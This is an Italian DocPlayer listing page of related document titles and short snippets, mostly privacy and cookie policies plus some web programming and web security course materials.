Indice generale Introduzione...xiii Capitolo 1 La sicurezza nel mondo delle applicazioni web...1 La sicurezza delle informazioni in sintesi... 1 Primi approcci con le soluzioni formali... 2 Introduzione Dettagli NOTE LEGALI - PRIVACY
NOTE LEGALI - PRIVACY In osservanza di quanto previsto dal D.L.gs 9/04/03, n. 70 e dal DL 30 giugno 2003, n. 196, Codice in materia di protezione dei dati personali, il Consorzio del Prosciutto di Parma Dettagli Attacchi Web - Introduzione alla sicurezza nelle applicazioni Web
Attacchi Web Introduzione alla sicurezza nelle applicazioni Web Davide Marrone davide@security.dico.unimi.it Università degli Studi di Milano Facoltà di Scienze Matematiche, Fisiche e Naturali Dipartimento Dettagli Aska Commerce srl tratterà i dati personali forniti dagli utenti per le seguenti finalità:
PRIVACY Natura dei dati trattati e finalità del trattamento La presente informativa è redatta, ai sensi dell art. 13 del Codice della Privacy, da Aska Commerce srl, in relazione ai dati personali conferiti Dettagli Corso di Informatica Modulo T3 B1 Programmazione web
Corso di Informatica Modulo T3 B1 Programmazione web 1 Prerequisiti Architettura client/server Elementi del linguaggio HTML web server SQL server Concetti generali sulle basi di dati 2 1 Introduzione Lo Dettagli PRIVACY POLICY. Privacy & Cookies Policy - Varese SPORT COMMISSION 1
PRIVACY POLICY Il sito www.varesesportcommission.it non richiede profilazione utenti, eventuali form di richiesta informazioni possono richiedere alcuni dati: il trattamento dei dati forniti in fase di Dettagli SPORTLANDIA TRADATE Cookie Policy
SPORTLANDIA TRADATE Cookie Policy Informativa Privacy (art.13 D.Lgs. 196/2003): i dati che i partecipanti al Blog conferiscono all atto della loro iscrizione sono limitati all indirizzo e-mail e sono obbligatori Dettagli La presente "Cookie Policy" (la nostra politica relativa all uso di cookie) viene applicata sul nostro sito
La presente "Cookie Policy" (la nostra politica relativa all uso di cookie) viene applicata sul nostro sito Internet, comprese le pagine su piattaforme di terze parti (ad esempio Facebook o YouTube), e Dettagli Privacy Cookie. Policy sui cookies
Privacy Cookie Policy sui cookies Da maggio 2011 una nuova legge sulla privacy è stata deliberata dal parlamento Europeo in merito all'obbligo per i siti web di richiedere il permesso agli utenti di utilizzare Dettagli PRIVACY POLICY - WWW.TIMEMOTORS.IT
PRIVACY POLICY - WWW.TIMEMOTORS.IT La privacy policy di questo sito web è un informativa resa anche ai sensi dell art. 13 del D.Lgs. n. 196/2003 - Codice in materia di protezione dei dati personali - a Dettagli Parte II: Reti di calcolatori Lezione 9
Università di Roma Tor Vergata Corso di Laurea triennale in Informatica Sistemi operativi e reti A.A. 2014-15 Parte II: Reti di calcolatori Lezione 9 Giovedì 2-04-2015 1 Come per una pagina Web, anche Dettagli Cookie Policy per www.ligurealassio.it
Cookie Policy per www.ligurealassio.it Uso dei cookie Il "Sito" (www.ligurealassio.it) utilizza i Cookie per rendere i propri servizi semplici e efficienti per l utenza che visiona le pagine di www.ligurealassio.it. Dettagli PRIVACY POLICY TIPI DI DATI TRATTATI
PRIVACY POLICY La privacy policy di questo sito web è un informativa resa anche ai sensi dell art. 13 del D.Lgs. n. 196/2003 - Codice in materia di protezione dei dati personali - a coloro che interagiscono Dettagli POLICY COOKIE. Maggiori informazioni sul trattamento dei dati sono rinvenibili nell informativa privacy di questo sito.
Gentile visitatore, POLICY COOKIE Audio Elite S.r.l. quale titolare del trattamento dei dati, desidera fornirle alcune informazioni sui cookies gestiti accedendo all indirizzo www.audioelite.it nel rispetto Dettagli Cookie Policy per www.lalocandadisettala.com
Policy per www.lalocandadisettala.com Uso dei cookie Il "Sito" (www.lalocandadisettala.com) utilizza i per rendere i propri servizi semplici e efficienti per l utenza che visiona le pagine di www.lalocandadisettala.com. Dettagli Collocazione della Metrica Web
Collocazione della Metrica Web Strategia Organizzazione Produzione Promozione Metrica Flussi di un Sistema di Analisi Configurazione Log files data base Analysis Engine Report Tecnici Report Marketing Dettagli Informazioni societarie: aggiornato al: 12/08/2015 Ragione Sociale. Privacy Policy
Informazioni societarie: aggiornato al: 12/08/2015 Ragione Sociale Sigger Consulting srl Indirizzo Via della Chimica, 18 01100 Viterbo Partita Iva 01557480561 Privacy Policy La presente informativa è stata Dettagli La sezione Privacy e Criteri di Sicurezza descrive come iforex raccoglie i dati personali e come li mantiene, utilizza e divulga.
Privacy e Criteri di Sicurezza Il nostro impegno La sezione Privacy e Criteri di Sicurezza descrive come iforex raccoglie i dati personali e come li mantiene, utilizza e divulga. iforex si impegna a proteggere Dettagli Rilevazione automatizzata delle timbrature di presenza
Direzione Servizi Interni Rilevazione automatizzata delle timbrature di presenza MANUALE DI UTILIZZO DELLA PROCEDURA TIMBR@WEB Versione 2.0 del 09 Gennaio 2012 A cura di Luigi D Elia SOMMARIO ACCESSO ALL Dettagli Architetture Applicative Il Web
Architetture Applicative Il Web Alessandro Martinelli alessandro.martinelli@unipv.it 18 Marzo 2014 Architetture Architetture Web L Architettura Client-Server HTTP Protocolli di Comunicazione Fondamenti Dettagli www.cristinaclub.com Privacy Policy Informazioni societarie Indirizzo sede legale Via Salice 3 Montegiardino Repubblica San Marino Recapiti
www.cristinaclub.com Informazioni societarie Ragione Sociale Cristina Club s.r.l. Indirizzo sede legale Via Salice 3 Montegiardino Repubblica San Marino Recapiti Tel. 0549 996019 Email: info@cristinaclub.com Dettagli Uso sicuro del web Navigare in siti sicuri
Uso sicuro del web Navigare in siti sicuri La rete internet, inizialmente, era concepita come strumento di ricerca di informazioni. L utente esercitava un ruolo passivo. Non interagiva con le pagine web Dettagli Assignment (1) - Varie
Elementi di Sicurezza e Privatezza Laboratorio 6 - Vulnerabilità di applicazioni Web (1) Chiara Braghin chiara.braghin@unimi.it! Assignment (1) - Varie Al link http://www.dti.unimi.it/braghin/ elementi/lab/lista_consegnati.pdf Dettagli Politica sui cookie. Introduzione Informazioni sui cookie
Introduzione Informazioni sui cookie Politica sui cookie La maggior parte dei siti web che visitate utilizza i cookie per migliorare l'esperienza dell'utente, consentendo al sito di 'ricordarsi' di voi, Dettagli Corso Creare Siti WEB
Corso Creare Siti WEB INTERNET e IL WEB Funzionamento Servizi di base HTML CMS JOOMLA Installazione Aspetto Grafico Template Contenuto Articoli Immagini Menu Estensioni Sito di esempio: Associazione LaMiassociazione Dettagli PRIVACY PERCHE QUESTO AVVISO IL TITOLARE DEL TRATTAMENTO LUOGO DI TRATTAMENTO DEI DATI TIPI DI DATI TRATTATI
PRIVACY PERCHE QUESTO AVVISO In questa pagina si descrivono le modalità di gestione del sito in riferimento al trattamento dei dati personali degli utenti che lo consultano. Si tratta di un informativa Dettagli DATABASE IN RETE E PROGRAMMAZIONE LATO SERVER
DATABASE IN RETE E PROGRAMMAZIONE LATO SERVER L architettura CLIENT SERVER è l architettura standard dei sistemi di rete, dove i computer detti SERVER forniscono servizi, e computer detti CLIENT, richiedono Dettagli La Sicurezza delle Reti. La Sicurezza delle Reti. Il software delle reti. Sistemi e tecnologie per la multimedialità e telematica.
Sistemi e tecnologie per la multimedialità e telematica Fabio Burroni Dipartimento di Ingegneria dell Informazione Università degli Studi di Siena burronif@unisi unisi.itit La Sicurezza delle Reti La presentazione Dettagli Il Sito utilizza cookies tecnici e non di profilazione
PRIVACY POLICY Informativa Privacy 1. INTRODUZIONE La presente Privacy Policy è relativa al sito www.aslnapoli2-formazione.eu. Le informazioni che l utente deciderà di condividere attraverso il Sito saranno Dettagli 2016 © DocPlayer.it Privacy Policy | Condizioni del servizio | Feed-back

References: art. 28
 art. 28
 articolo 13
 art. 13
 art. 13
 art. 13